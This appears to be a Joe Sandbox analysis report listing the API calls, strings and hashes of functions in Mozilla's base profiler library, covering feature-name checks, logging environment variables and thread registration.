strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAA582D), ref: 6CADCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CADCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CADCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CADCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CADCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CADCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CADCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CADCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CADCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CADCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CADCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CADCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CADCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CADCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CADCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CADCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CADCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CADCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CADCE8A

Strings

nativeallocations, xrefs: 6CADCDA8
jsallocations, xrefs: 6CADCD0E
java, xrefs: 6CADCC37
markersallthreads, xrefs: 6CADCE42
ipcmessages, xrefs: 6CADCDBE
noiostacks, xrefs: 6CADCCBE
notimerresolutionchange, xrefs: 6CADCE00
preferencereads, xrefs: 6CADCD92
unregisteredthreads, xrefs: 6CADCE58
mainthreadio, xrefs: 6CADCC7C
leaf, xrefs: 6CADCC66
audiocallbacktracing, xrefs: 6CADCDD4
fileio, xrefs: 6CADCC92
seqstyle, xrefs: 6CADCCE6
samplingallthreads, xrefs: 6CADCE2C
fileioall, xrefs: 6CADCCA8
nostacksampling, xrefs: 6CADCD7C
processcpu, xrefs: 6CADCE6E
screenshots, xrefs: 6CADCCD4
default, xrefs: 6CADCC21
cpuallthreads, xrefs: 6CADCE16
power, xrefs: 6CADCE84
Unrecognized feature "%s"., xrefs: 6CADCEA0
stackwalk, xrefs: 6CADCCF8

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 6e12848b527844ef85041c2834d2e7d95a82e5e42af8e1b473e3b6822660c4ea
Instruction ID: 6d4b5c2b295ace16bfb8f3039dd80b4fcc60174def48e0d373b09836604335db
Opcode Fuzzy Hash: 6e12848b527844ef85041c2834d2e7d95a82e5e42af8e1b473e3b6822660c4ea
Instruction Fuzzy Hash: 3B51D9D0B452A522FE0034156D10BAF5B08FB1325EFA5003AFD49A2EC0FF24B29986B7

Function 6CAA47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAA4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA482D
__Init_thread_footer.LIBCMT ref: 6CAA484A

Part of subcall function 6CACAB3F: EnterCriticalSection.KERNEL32(6CB1E370,?,?,6CA93527,6CB1F6CC,?,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB49
Part of subcall function 6CACAB3F: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA93527,6CB1F6CC,?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACAB7C

GetCurrentThreadId.KERNEL32 ref: 6CAA485F
GetCurrentThreadId.KERNEL32 ref: 6CAA487E
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAA488B
free.MOZGLUE(?), ref: 6CAA493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA4956
free.MOZGLUE(00000000), ref: 6CAA4960
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAA499A

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

free.MOZGLUE(?), ref: 6CAA49C6
free.MOZGLUE(?), ref: 6CAA49E9

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAA4828
[I %d/%d] profiler_shutdown, xrefs: 6CAA4A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAA4812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAA47FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6CAA4A42

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: f64543b74d41e98fd500649c2efd85c80e4ee2432b2c69ba21ef6cf6204fc272
Instruction ID: 0db59c9d99c1568e21ef34861cae1a3de8d9e77430571f1d1c074af3b28ff703
Opcode Fuzzy Hash: f64543b74d41e98fd500649c2efd85c80e4ee2432b2c69ba21ef6cf6204fc272
Instruction Fuzzy Hash: 08812775A001008FEB04DFA9D84975A3775AF42328F180639F916D7F41EB31E9DACB9A

Function 6CAA4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAA44B2,6CB1E21C,6CB1F7F8), ref: 6CAA473E
Part of subcall function 6CAA4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAA474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CAA44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CAA44D2
InitOnceExecuteOnce.KERNEL32(6CB1F80C,6CA9F240,?,?), ref: 6CAA451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAA455C
LoadLibraryW.KERNEL32(?), ref: 6CAA4592
InitializeCriticalSection.KERNEL32(6CB1F770), ref: 6CAA45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CAA45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CAA45BB
InitOnceExecuteOnce.KERNEL32(6CB1F818,6CA9F240,?,?), ref: 6CAA4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CAA4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CAA4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAA466D
VerSetConditionMask.NTDLL ref: 6CAA469F
VerSetConditionMask.NTDLL ref: 6CAA46AB
VerSetConditionMask.NTDLL ref: 6CAA46B2
VerSetConditionMask.NTDLL ref: 6CAA46B9
VerSetConditionMask.NTDLL ref: 6CAA46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAA46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CAA46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CAA46FD

Strings

kernel32.dll, xrefs: 6CAA44CD
user32.dll, xrefs: 6CAA4557, 6CAA463F
WRusr.dll, xrefs: 6CAA44B5
NativeNtBlockSet_Write, xrefs: 6CAA46F7
l, xrefs: 6CAA4578

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 9c7c2cbc5801722beb3ed6c7be74846ce3799af81e3f9cd1ea0da2912139a142
Instruction ID: 21ee3b19a42e17ce6a624d9c27775a56fb910ad2cfaf7e16a61bb25e35a64687
Opcode Fuzzy Hash: 9c7c2cbc5801722beb3ed6c7be74846ce3799af81e3f9cd1ea0da2912139a142
Instruction Fuzzy Hash: 7861F7B1604384DFEB009FA5CC0ABA97BB8EB46308F18855CF5049BE51DBB199C6CF91

Function 6CADE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CADB9F1,?), ref: 6CAD7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CADDCF5), ref: 6CADE92D
GetCurrentThreadId.KERNEL32 ref: 6CADEA4F
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEA5C
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEA80
GetCurrentThreadId.KERNEL32 ref: 6CADEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CADDCF5), ref: 6CADEA92
GetCurrentThreadId.KERNEL32 ref: 6CADEB11
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CADEB3C
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEB5B

Part of subcall function 6CAD5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CADEB71), ref: 6CAD57AB

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CADEBAC

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

GetCurrentThreadId.KERNEL32 ref: 6CADEBC1
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000), ref: 6CADEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CADEBE5
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8,00000000), ref: 6CADEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CADEC46
CloseHandle.KERNEL32(?), ref: 6CADEC55
free.MOZGLUE(00000000), ref: 6CADEC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CADEA9B
[I %d/%d] profiler_start, xrefs: 6CADEBB4

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: aaf746e2e3bc0faae1ee476d24253b7fdbb3f1535b18fa860dd6c804d293e450
Instruction ID: a4049cd1f2f43f73aa0487daa894a96022b30bc24e8c5106684025a03b4a4118
Opcode Fuzzy Hash: aaf746e2e3bc0faae1ee476d24253b7fdbb3f1535b18fa860dd6c804d293e450
Instruction Fuzzy Hash: 05A146757006048FEB00DF69D845BAAB7B5FF86318F16442DE919C7F51DB30A889CBA1

Function 6CADF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CADF8F9

Part of subcall function 6CAA6390: GetCurrentThreadId.KERNEL32 ref: 6CAA63D0
Part of subcall function 6CAA6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CAA63DF
Part of subcall function 6CAA6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAA640E

ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADF93A
GetCurrentThreadId.KERNEL32 ref: 6CADF98A
GetCurrentThreadId.KERNEL32 ref: 6CADF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADF716

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

Part of subcall function 6CA9B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CA9B5E0

GetCurrentThreadId.KERNEL32 ref: 6CADF739
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADF746
GetCurrentThreadId.KERNEL32 ref: 6CADF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB1385B,00000002,?,?,?,?,?), ref: 6CADF829
free.MOZGLUE(?,?,00000000,?), ref: 6CADF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CADF866
free.MOZGLUE(?), ref: 6CADFA0C

Part of subcall function 6CAA5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA55E1), ref: 6CAA5E8C
Part of subcall function 6CAA5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA5E9D
Part of subcall function 6CAA5E60: GetCurrentThreadId.KERNEL32 ref: 6CAA5EAB
Part of subcall function 6CAA5E60: GetCurrentThreadId.KERNEL32 ref: 6CAA5EB8
Part of subcall function 6CAA5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA5ECF
Part of subcall function 6CAA5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CAA5F27
Part of subcall function 6CAA5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CAA5F47
Part of subcall function 6CAA5E60: GetCurrentProcess.KERNEL32 ref: 6CAA5F53
Part of subcall function 6CAA5E60: GetCurrentThread.KERNEL32 ref: 6CAA5F5C
Part of subcall function 6CAA5E60: GetCurrentProcess.KERNEL32 ref: 6CAA5F66
Part of subcall function 6CAA5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAA5F7E

free.MOZGLUE(?), ref: 6CADF9C5
free.MOZGLUE(?), ref: 6CADF9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CADF9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6CADF71F
" attempted to re-register as ", xrefs: 6CADF858
Thread , xrefs: 6CADF789

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b93e1c6ffbf658711acdd20077c01b7792974c9c62e278a7e076aee5ca8cd0db
Instruction ID: 9561926e2d37381f472c27bbcfbb98c733fd363f6e8c3f9670257e1c6434d494
Opcode Fuzzy Hash: b93e1c6ffbf658711acdd20077c01b7792974c9c62e278a7e076aee5ca8cd0db
Instruction Fuzzy Hash: 818100B5A042409FDB10DF64C940AABB7F5BF85308F45452DE8499BB51EB30E989CBA2

Function 6CADEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADEE60
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEE6D
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CADEEA5
CloseHandle.KERNEL32(?), ref: 6CADEEB4
free.MOZGLUE(00000000), ref: 6CADEEBB
GetCurrentThreadId.KERNEL32 ref: 6CADEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADEECF

Part of subcall function 6CADDE60: GetCurrentThreadId.KERNEL32 ref: 6CADDE73
Part of subcall function 6CADDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAA4A68), ref: 6CADDE7B
Part of subcall function 6CADDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAA4A68), ref: 6CADDEB8
Part of subcall function 6CADDE60: free.MOZGLUE(00000000,?,6CAA4A68), ref: 6CADDEFE
Part of subcall function 6CADDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CADDF38

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

GetCurrentThreadId.KERNEL32 ref: 6CADEF1E
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEF2B
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEF59
GetCurrentThreadId.KERNEL32 ref: 6CADEFB0
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEFBD
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADEFE1
GetCurrentThreadId.KERNEL32 ref: 6CADEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADF000

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CADF02F

Part of subcall function 6CADF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CADF09B
Part of subcall function 6CADF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CADF0AC
Part of subcall function 6CADF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CADF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6CADEED7
[I %d/%d] profiler_pause, xrefs: 6CADF008

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: c1df6e870424f9a3d7851b81f8eceab74520ac6df48d141e33c8c508e1a9dda4
Instruction ID: 10cc14c1358c8c3dec468b10c699058bc3a1b700194dde2698be912b57a7355f
Opcode Fuzzy Hash: c1df6e870424f9a3d7851b81f8eceab74520ac6df48d141e33c8c508e1a9dda4
Instruction Fuzzy Hash: A8514976704211DFEB009F6AD80A7A67BB4EB4636CF150529E929C3F41DB346888C7E6

Function 6CAA5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA5E9D

Part of subcall function 6CAB5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5B85
Part of subcall function 6CAB5B50: EnterCriticalSection.KERNEL32(6CB1F688,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5B90
Part of subcall function 6CAB5B50: LeaveCriticalSection.KERNEL32(6CB1F688,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5BD8
Part of subcall function 6CAB5B50: GetTickCount64.KERNEL32 ref: 6CAB5BE4

GetCurrentThreadId.KERNEL32 ref: 6CAA5EAB
GetCurrentThreadId.KERNEL32 ref: 6CAA5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CAA6017

Part of subcall function 6CA94310: moz_xmalloc.MOZGLUE(00000010,?,6CA942D2), ref: 6CA9436A
